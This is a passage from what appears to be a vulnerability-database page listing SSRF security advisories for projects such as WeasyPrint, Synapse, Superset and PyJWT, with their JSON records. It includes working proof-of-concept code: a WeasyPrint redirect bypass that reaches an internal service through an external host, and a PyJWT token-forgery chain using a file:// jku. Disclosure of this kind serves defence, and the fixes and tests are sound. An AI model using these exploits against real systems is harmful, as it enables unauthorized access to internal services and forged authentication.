Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6048 vulnerabilities reference this CWE, most recent first.

GHSA-9832-MGG4-3GR6

Vulnerability from github – Published: 2023-09-06 15:30 – Updated: 2023-09-07 13:59
VLAI
Summary
Apache Superset has improper default REST API permission for Gamma users
Details

An improper default REST API permission for Gamma users in Apache Superset up to and including 2.1.0 allows for an authenticated Gamma user to test database connections.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "apache-superset"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-36387"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-281",
      "CWE-863",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-07T13:59:27Z",
    "nvd_published_at": "2023-09-06T13:15:08Z",
    "severity": "MODERATE"
  },
  "details": "An improper default REST API permission for Gamma users in Apache Superset up to and including 2.1.0 allows for an authenticated Gamma user to test database connections.\n",
  "id": "GHSA-9832-mgg4-3gr6",
  "modified": "2023-09-07T13:59:27Z",
  "published": "2023-09-06T15:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36387"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/superset/pull/24185"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/superset"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/tt6s6hm8nv6s11z8bfsk3r3d9ov0ogw3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Superset has improper default REST API permission for Gamma users"
}

GHSA-983W-RHVV-GWMV

Vulnerability from github – Published: 2026-01-20 16:29 – Updated: 2026-07-02 20:22
VLAI
Summary
WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect
Details

Summary

A Server-Side Request Forgery (SSRF) Protection Bypass exists in WeasyPrint's default_url_fetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom url_fetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy.

Details

The default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.

While WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python's standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer's validation logic for the new target URL.

This behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer's allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).

PoC

To reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., localhost).

1. victim.py (Internal Service - Port 5000) Simulates a sensitive internal service running on localhost.

from flask import Flask
app = Flask(__name__)

@app.route('/secret')
def secret():
    return "CRITICAL_INTERNAL_DATA"

if __name__ == '__main__':
    # Listens on localhost:5000
    app.run(port=5000)

2. attacker.py (External Redirector - Port 1337) Simulates an external server. It accepts a request and redirects it to the blocked hostname (localhost).

from flask import Flask, redirect
app = Flask(__name__)

@app.route('/image.png')
def malicious():
    # The vulnerability: Redirects to the BLOCKED hostname
    return redirect("http://localhost:5000/secret", code=302)

if __name__ == '__main__':
    app.run(port=1337)

3. exploit.py (Vulnerable Implementation) Simulates the application with a security filter intended to block access to "localhost".

from weasyprint import HTML, default_url_fetcher
import logging

# Security Filter: Intended to block internal hostnames
def secure_fetcher(url):
    # Simulates a blacklist for 'localhost'
    if "localhost" in url:
        raise PermissionError(f"Security Block: Access to {url} denied.")

    print(f"[ALLOWED] Initial URL check passed for: {url}")
    return default_url_fetcher(url)

# EXPLOIT LOGIC:
# 1. We access the attacker via '127.0.0.1' (or an external IP). 
#    The string "127.0.0.1" passes the check because it is not "localhost".
# 2. The attacker redirects to "http://localhost:5000/...".
# 3. urllib follows the redirect to 'localhost' without re-triggering secure_fetcher.

try:
    # Use 127.0.0.1 to bypass the string check for 'localhost'
    html_content = '<link rel="attachment" href="http://54.234.88.160:1337/image.png">'

    doc = HTML(string=html_content, url_fetcher=secure_fetcher)
    doc.write_pdf("exploit.pdf")

    print("Exploit successful. The 'localhost' block was bypassed via redirect.")
    print("Check exploit.pdf for 'CRITICAL_INTERNAL_DATA'.")
except Exception as e:
    print(f"Exploit failed: {e}")

4. Attacker read attachment in PDF

➜ pdfdetach -list resultado_exploit.pdf
1 embedded files
1: secret
➜ pdfdetach -saveall resultado_exploit.pdf
➜ cat secret
CRITICAL_INTERNAL_DATA

Evidence image

Impact

This vulnerability impacts any application or SaaS platform using WeasyPrint to render user-supplied HTML/CSS that attempts to restrict external resource loading.

  • Internal Network Reconnaissance: Attackers can bypass firewalls or allowlists to scan and access internal services (e.g., Redis, ElasticSearch, Admin Panels) running on the loopback interface or local network.
  • Cloud Metadata Exfiltration: In cloud environments, attackers can redirect requests to metadata services (e.g., http://169.254.169.254) to steal instance credentials and escalate privileges.
  • Security Control Bypass: It renders the url_fetcher security validation logic ineffective against sophisticated attacks, creating a false sense of security for developers.
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "weasyprint"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "68.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68616"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-20T16:29:53Z",
    "nvd_published_at": "2026-01-19T16:15:53Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA **Server-Side Request Forgery (SSRF) Protection Bypass** exists in WeasyPrint\u0027s `default_url_fetcher`. The vulnerability allows attackers to access internal network resources (such as `localhost` services or cloud metadata endpoints) even when a developer has implemented a custom `url_fetcher` to block such access. This occurs because the underlying `urllib` library follows HTTP redirects automatically without re-validating the new destination against the developer\u0027s security policy.\n\n### Details\n\nThe default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.\n\nWhile WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python\u0027s standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer\u0027s validation logic for the new target URL.\n\nThis behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer\u0027s allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).\n\n### PoC\n\nTo reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., `localhost`).\n\n**1. victim.py (Internal Service - Port 5000)**\nSimulates a sensitive internal service running on localhost.\n\n```python\nfrom flask import Flask\napp = Flask(__name__)\n\n@app.route(\u0027/secret\u0027)\ndef secret():\n    return \"CRITICAL_INTERNAL_DATA\"\n\nif __name__ == \u0027__main__\u0027:\n    # Listens on localhost:5000\n    app.run(port=5000)\n```\n\n**2. attacker.py (External Redirector - Port 1337)**\nSimulates an external server. It accepts a request and redirects it to the blocked hostname (`localhost`).\n\n```python\nfrom flask import Flask, redirect\napp = Flask(__name__)\n\n@app.route(\u0027/image.png\u0027)\ndef malicious():\n    # The vulnerability: Redirects to the BLOCKED hostname\n    return redirect(\"http://localhost:5000/secret\", code=302)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(port=1337)\n```\n\n**3. exploit.py (Vulnerable Implementation)**\nSimulates the application with a security filter intended to block access to \"localhost\".\n\n```python\nfrom weasyprint import HTML, default_url_fetcher\nimport logging\n\n# Security Filter: Intended to block internal hostnames\ndef secure_fetcher(url):\n    # Simulates a blacklist for \u0027localhost\u0027\n    if \"localhost\" in url:\n        raise PermissionError(f\"Security Block: Access to {url} denied.\")\n    \n    print(f\"[ALLOWED] Initial URL check passed for: {url}\")\n    return default_url_fetcher(url)\n\n# EXPLOIT LOGIC:\n# 1. We access the attacker via \u0027127.0.0.1\u0027 (or an external IP). \n#    The string \"127.0.0.1\" passes the check because it is not \"localhost\".\n# 2. The attacker redirects to \"http://localhost:5000/...\".\n# 3. urllib follows the redirect to \u0027localhost\u0027 without re-triggering secure_fetcher.\n\ntry:\n    # Use 127.0.0.1 to bypass the string check for \u0027localhost\u0027\n    html_content = \u0027\u003clink rel=\"attachment\" href=\"http://54.234.88.160:1337/image.png\"\u003e\u0027\n    \n    doc = HTML(string=html_content, url_fetcher=secure_fetcher)\n    doc.write_pdf(\"exploit.pdf\")\n    \n    print(\"Exploit successful. The \u0027localhost\u0027 block was bypassed via redirect.\")\n    print(\"Check exploit.pdf for \u0027CRITICAL_INTERNAL_DATA\u0027.\")\nexcept Exception as e:\n    print(f\"Exploit failed: {e}\")\n```\n**4. Attacker read attachment in PDF**\n```\n\u279c pdfdetach -list resultado_exploit.pdf\n1 embedded files\n1: secret\n\u279c pdfdetach -saveall resultado_exploit.pdf\n\u279c cat secret\nCRITICAL_INTERNAL_DATA\n```\n**Evidence**\n\u003cimg width=\"1514\" height=\"436\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f7881694-be4d-4c63-8bca-2b220e4c87f9\" /\u003e\n\n### Impact\n\nThis vulnerability impacts any application or SaaS platform using WeasyPrint to render user-supplied HTML/CSS that attempts to restrict external resource loading.\n\n  * **Internal Network Reconnaissance:** Attackers can bypass firewalls or allowlists to scan and access internal services (e.g., Redis, ElasticSearch, Admin Panels) running on the loopback interface or local network.\n  * **Cloud Metadata Exfiltration:** In cloud environments, attackers can redirect requests to metadata services (e.g., `http://169.254.169.254`) to steal instance credentials and escalate privileges.\n  * **Security Control Bypass:** It renders the `url_fetcher` security validation logic ineffective against sophisticated attacks, creating a false sense of security for developers.",
  "id": "GHSA-983w-rhvv-gwmv",
  "modified": "2026-07-02T20:22:23Z",
  "published": "2026-01-20T16:29:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-983w-rhvv-gwmv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68616"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/WeasyPrint/commit/b6a14f0f3f4ce9c0c75c1a2d73cb1c5d43f0e565"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-68616"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430858"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Kozea/WeasyPrint"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-68616.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect"
}

GHSA-9855-9CCH-X8MW

Vulnerability from github – Published: 2026-08-19 18:32 – Updated: 2026-09-05 15:30
VLAI
Details

A flaw was found in the cluster-proxy-addon component of Multicluster Engine for Kubernetes. This vulnerability allows an unauthenticated attacker, who can access the user-facing route, to bypass authentication and authorization checks. By manipulating URL path segments, the attacker can proxy requests to arbitrary services across any managed cluster. This enables unauthorized access to internal services that would otherwise be protected, potentially leading to information disclosure or further compromise of the cluster environment.

Severity
9.3 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-66794"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-19T18:17:16Z",
    "severity": "CRITICAL"
  },
  "details": "A flaw was found in the `cluster-proxy-addon` component of Multicluster Engine for Kubernetes. This vulnerability allows an unauthenticated attacker, who can access the user-facing route, to bypass authentication and authorization checks. By manipulating URL path segments, the attacker can proxy requests to arbitrary services across any managed cluster. This enables unauthorized access to internal services that would otherwise be protected, potentially leading to information disclosure or further compromise of the cluster environment.",
  "id": "GHSA-9855-9cch-x8mw",
  "modified": "2026-09-05T15:30:25Z",
  "published": "2026-08-19T18:32:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66794"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59556"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59557"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59558"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59559"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59579"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59593"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-66794"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2507539"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-988G-78QR-2CPM

Vulnerability from github – Published: 2026-05-17 03:30 – Updated: 2026-05-17 03:30
VLAI
Details

A weakness has been identified in CoreWorxLab CAAL up to 1.6.0. The affected element is an unknown function of the file src/caal/webhooks.py of the component test-hass Endpoint. This manipulation causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-8725"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-17T02:16:45Z",
    "severity": "MODERATE"
  },
  "details": "A weakness has been identified in CoreWorxLab CAAL up to 1.6.0. The affected element is an unknown function of the file src/caal/webhooks.py of the component test-hass Endpoint. This manipulation causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-988g-78qr-2cpm",
  "modified": "2026-05-17T03:30:25Z",
  "published": "2026-05-17T03:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8725"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juruo123/public_exp/issues/5"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/807753"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/364316"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/364316/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-98PX-6486-J7QC

Vulnerability from github – Published: 2023-06-06 16:41 – Updated: 2024-09-30 20:34
VLAI
Summary
Synapse has URL deny list bypass via oEmbed and image URLs when generating previews
Details

Impact

A discovered oEmbed or image URL can bypass the url_preview_url_blacklist setting potentially allowing server side request forgery or bypassing network policies. Impact is limited to IP addresses allowed by the url_preview_ip_range_blacklist setting (by default this only allows public IPs) and by the limited information returned to the client:

  • For discovered oEmbed URLs, any non-JSON response or a JSON response which includes non-oEmbed information is discarded.
  • For discovered image URLs, any non-image response is discarded.

Systems which have URL preview disabled (via the url_preview_enabled setting) or have not configured a url_preview_url_blacklist are not affected.

Because of the uncommon configuration required, the limited information a malicious user, and the amount of guesses/time the attack would need; the severity is rated as low.

Patches

The issue is fixed by #15601.

Workarounds

The default configuration of the url_preview_ip_range_blacklist should protect against requests being made to internal infrastructure, URL previews of public URLs is expected.

Alternately URL previews could be disabled using the url_preview_enabled setting.

Severity
3.5 (Low)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
5.1 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "matrix-synapse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.85.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-32683"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-06T16:41:34Z",
    "nvd_published_at": "2023-06-06T19:15:11Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nA discovered oEmbed or image URL can bypass the `url_preview_url_blacklist` setting potentially allowing server side request forgery or bypassing network policies. Impact is limited to IP addresses allowed by the `url_preview_ip_range_blacklist` setting (by default this only allows public IPs) and by the limited information returned to the client:\n\n* For discovered oEmbed URLs, any non-JSON response or a JSON response which includes non-oEmbed information is discarded.\n* For discovered image URLs, any non-image response is discarded.\n\nSystems which have URL preview disabled (via the `url_preview_enabled` setting) or have not configured a `url_preview_url_blacklist` are not affected.\n\nBecause of the uncommon configuration required, the limited information a malicious user, and the amount of guesses/time the attack would need; the severity is rated as low.\n\n### Patches\n\nThe issue is fixed by #15601.\n\n### Workarounds\n\nThe default configuration of the `url_preview_ip_range_blacklist` should protect against requests being made to internal infrastructure, URL previews of public URLs is expected.\n\nAlternately URL previews could be disabled using the `url_preview_enabled` setting.",
  "id": "GHSA-98px-6486-j7qc",
  "modified": "2024-09-30T20:34:41Z",
  "published": "2023-06-06T16:41:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/synapse/security/advisories/GHSA-98px-6486-j7qc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/synapse/pull/15601"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/matrix-org/synapse"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/synapse/releases/tag/v1.85.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/matrix-synapse/PYSEC-2023-85.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X6DH5A5YEB5LRIPP32OUW25FCGZFCZU2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Synapse has URL deny list bypass via oEmbed and image URLs when generating previews"
}

GHSA-98VP-FCQ9-GMJ3

Vulnerability from github – Published: 2025-05-14 18:30 – Updated: 2025-05-14 21:31
VLAI
Details

A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface. By using an encoded URL, a remote unauthenticated attacker could potentially cause the appliance to make requests to unintended location.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-40595"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-14T17:15:48Z",
    "severity": "HIGH"
  },
  "details": "A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface. By using an encoded URL, a remote unauthenticated attacker could potentially cause the appliance to make requests to unintended location.",
  "id": "GHSA-98vp-fcq9-gmj3",
  "modified": "2025-05-14T21:31:17Z",
  "published": "2025-05-14T18:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40595"
    },
    {
      "type": "WEB",
      "url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0010"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-98XV-5XRC-6PMQ

Vulnerability from github – Published: 2026-07-27 15:32 – Updated: 2026-07-27 15:32
VLAI
Details

Contributor Server Side Request Forgery (SSRF) in Feedzy <= 5.2.4 versions.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-66437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-27T15:17:11Z",
    "severity": "MODERATE"
  },
  "details": "Contributor Server Side Request Forgery (SSRF) in Feedzy \u003c= 5.2.4 versions.",
  "id": "GHSA-98xv-5xrc-6pmq",
  "modified": "2026-07-27T15:32:33Z",
  "published": "2026-07-27T15:32:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66437"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/feedzy-rss-feeds/vulnerability/wordpress-feedzy-plugin-5-2-4-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-993G-76C3-P5M4

Vulnerability from github – Published: 2026-06-15 19:28 – Updated: 2026-07-31 22:13
VLAI
Summary
PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes
Details

[!NOTE] The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

  1. Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load.
  2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
  3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.

Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)

import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time

# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n

def b64u(n):
    bl = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()

# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
                  "n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
    json.dump(jwks, f)

# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
    {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
    priv_pem, algorithm="RS256",
    headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"])      # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
                       audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}

Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

Library Behavior on jku=file://... Mechanism
PyJWT 2.12.1 (Python) Reads file from disk, parses, uses for signature verification urllib default OpenerDirector includes FileHandler
panva/jose 6.2.3 (Node.js) Refuses pre-fetch WHATWG fetch() rejects non-http(s) at fetch-spec layer
golang-jwt + MicahParks/keyfunc v3.4.0 (Go) Refuses pre-fetch http.DefaultTransport only registers http/https
Microsoft.IdentityModel.Tokens 8.18.0 (.NET) Refuses pre-fetch HttpDocumentRetriever defaults RequireHttps=true
Spring Security NimbusJwtDecoder 6.3.4 (Java) Refuses pre-fetch URI parser delegation refuses non-http(s) at request build

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowed_schemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.__init__. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against jwt/jwks_client.py

def __init__(
    self, uri: str,
    cache_keys: bool = False, max_cached_keys: int = 16,
    cache_jwk_set: bool = True, lifespan: float = 300,
    headers: dict[str, Any] | None = None, timeout: float = 30,
    ssl_context: SSLContext | None = None,
    allowed_schemes: tuple[str, ...] = ("https", "http"),  # NEW
):
    """...
    :param allowed_schemes: URL schemes the JWKS endpoint is permitted
        to use. Default ``("https", "http")``. Pass ``("https",)`` for
        HTTPS-only operation. URLs with disallowed schemes raise
        ``PyJWKClientError`` before any fetch is attempted.
    """
    # ... existing init code ...
    self.allowed_schemes = allowed_schemes
    self._validate_uri_scheme()


def _validate_uri_scheme(self) -> None:
    """Reject the configured URI early if its scheme isn't allowed."""
    from urllib.parse import urlparse
    parsed = urlparse(self.uri)
    scheme = parsed.scheme.lower()
    if not scheme:
        raise PyJWKClientError(
            f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "
            f"{self.allowed_schemes!r}")
    if scheme not in self.allowed_schemes:
        raise PyJWKClientError(
            f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "
            f"{self.allowed_schemes!r}; refusing to fetch from this URL")

Tests to add

def test_pyjwkclient_rejects_file_scheme():
    with pytest.raises(PyJWKClientError, match="not in allowed_schemes"):
        PyJWKClient("file:///etc/passwd")

def test_pyjwkclient_rejects_ftp_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("ftp://example.org/keys.json")

def test_pyjwkclient_rejects_data_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient('data:application/json,{"keys":[]}')

def test_pyjwkclient_caller_can_lock_to_https_only():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",))

Compatibility

  • Default allowed_schemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints
  • Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)
  • No changes to urllib fetch logic itself — the fix is a pre-validation gate

Class precedent

